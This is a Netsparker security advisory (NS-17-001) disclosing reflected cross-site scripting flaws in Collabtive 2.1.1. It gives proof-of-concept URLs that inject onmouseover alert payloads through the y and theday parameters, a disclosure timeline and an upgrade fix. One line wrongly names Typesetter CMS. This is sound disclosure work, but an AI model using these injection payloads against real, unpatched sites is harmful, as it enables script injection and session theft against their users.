Information
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Advisory by Netsparker
Name: Multiple Reflected XSS Vulnerabilities in Collabtive
Affected Software : Collabtive
Affected Versions: 2.1.1
Vendor Homepage :  http://collabtive.o-dyn.de/ 
Vulnerability Type : Cross-site Scripting
Severity : Important
Status : Fixed
Netsparker Advisory Reference : NS-17-001

Technical Details
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Proof of Concept URL for XSSes vulnerabilities in Typesetter CMS;

URL /collabtive/manageajax.php?action=newcal&y=x'"%20onmouseover=alert(9)%20&m=5
Parameter Name y
Parameter Type GET
Attack Pattern '"%20onmouseover=alert(9)%20

URL http://127.0.0.1/collabtive/managetask.php?action=addform&id=2&theday="%20onmouseover=alert(1)%20value="15&themonth=6&theyear=2016
Parameter Name theday, themonth, theyear
Parameter Type GET
Attack Pattern "%20onmouseover=alert(1)%20value="15

For more information on cross-site scripting vulnerabilities read the article Cross-site Scripting (XSS).

Advisory Timeline
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30 Jun 2016 - Issue reported
08 Sep 2016 - Vendor fixed
16 Jan 2017 - Advisory released

Solution
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Download latest version of Collabtive.

Credits & Authors
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This issues has been discovered by Omer Citak while testing Netsparker Web Application Security Scanner.

About Netsparker
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Netsparker web application security scanners find and report security flaws and vulnerabilities such as SQL Injection and Cross-site Scripting (XSS) in all websites and web applications, regardless of the platform and technology they are built on. Netsparker scanning engine's unique detection and exploitation techniques allow it to be dead accurate in reporting vulnerabilities. The Netsparker web application security scanner is available in two editions; Netsparker Desktop and Netsparker Cloud. Visit our website https://www.netsparker.com for more information.

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